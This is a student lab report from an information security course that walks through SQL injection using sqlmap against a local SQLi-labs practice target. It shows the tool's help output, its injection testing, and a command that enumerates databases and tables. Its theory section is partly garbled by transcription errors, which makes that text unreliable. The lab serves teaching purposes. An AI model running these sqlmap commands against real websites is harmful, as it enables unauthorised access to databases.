NAME: PRERNA SUNIL JADHAV

SAPID: 60004220127

BATCH: COMPUTER ENGINEERING

COURSE: INFORMATION SECURITY LABORATORY

COURSE CODE: DI 19 CEL 603

EXPERIMENT 11

AIM: perform SQL Injection

THEORY! SQL Injection (SQLi) is a type of an injection attack that makes it possible to execute matrious SQL statements these statements wontrol a database server, behind a web application. Attaucus can use squ Injection vulnerabilities to opposis applications security measures. They can go around authentication and authorization of a web page application and retrieve the content of the entrine sql database. They can also use sql injection to add, modify and delete records in the database. An sal injection vulnerability may affect any website on web application that uses an sal database such as Mysal. Trade sque server or allow criminals may use it to gain unauthorized access to your sensitive

performed sol Injection attact. and the second s



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Academic Year: 2022-2023

Name:	Prerna Sunil Jadhav
Sap Id:	60004220127
Class:	T. Y. B. Tech (Computer Engineering)
Course:	Information Security Laboratory
Course Code:	DJ19CEL603
Experiment No.:	11

AIM: Perform SQL Injection.

```
★ HackingFlix) - [~]
  sqlmap -h
                          {1.5.2#stable}
                          http://sqlmap.org
Usage: python3 sqlmap [options]
Options:
  -h, --help
                        Show basic help message and exit
  -hh
                        Show advanced help message and exit
                        Show program's version number and exit
  --version
  -v VERBOSE
                       Verbosity level: 0-6 (default 1)
 Target:
   At least one of these options has to be provided to define the
   target(s)
    -u URL, --url=URL
                        Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK
                        Process Google dork results as target URLs
 Request:
```

```
File Actions Edit View Help

[12:19:26] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')

[12:19:26] [INFO] testing for SQL injection on GET parameter 'id' injectable (possible DBMS: 'MySQL')

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y

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for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y

for the remaining tests, do you want to include all tests for 'MySQL cannet (12:19:32) [IMFO] testing 'MySQL >= 5.5 AND error-based - WHERE or HAVING clause (MySQL comment)' injectable (12:19:32) [IMFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'

for injectable (12:19:32) [IMFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'

for injectable (12:19:32) [IMFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'

for injectable (12:19:32) [IMFO] testing 'MySQL >= 5.0.12 stacked queries (heavy query - comment)'

for injectable (12:19:32) [IMFO] testing 'MySQL >= 5.0.12 stacked queries (heavy query - comment)'

for injectable (12:19:32) [IMFO] testing 'MySQL >= 5.0.12 stacked queries (heavy query - comment)'

for injectable (12:19:32) [IM
```



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```
[12:19:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[12:19:51] [INFO] fetching database names
[12:19:51] [INFO] retrieved: 'information_schema'
[12:19:51] [INFO] retrieved: 'information_schema'
[12:19:51] [INFO] retrieved: 'challenges'
[12:19:51] [INFO] retrieved: 'mysql'
[12:19:51] [INFO] retrieved: 'performance_schema'
[12:19:51] [INFO] retrieved: 'security'
available databases [5]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security

[12:19:51] [INFO] fetched data logged to text files under '/home/aakash/.local/share/sqlmap/output/localhost'
[*] ending @ 12:19:51 /2021-04-21/
```

```
**S Almap -u "http://localhost/Less-4/?id=1" -D security --tables

**Interpretation of the security --tables

*
```

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```
File Actions Edit View Help
c78566e525a4a524b6e4b,0x71787a7671)#
[12:24:19] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[12:24:19] [INFO] fetching tables for database: 'security'
[12:24:19] [INFO] retrieved: 'emails' [12:24:19] [INFO] retrieved: 'referers'
[12:24:19] [INFO] retrieved: 'uagents'
[12:24:19] [INFO] retrieved: 'users'
Database: security
[4 tables]
  emails
  referers
  uagents
  users
```

CONCLUSION

Thus, we have successfully studied SQL injection and implemented basic injections to check out the data in server with Kali Linux using SQL map.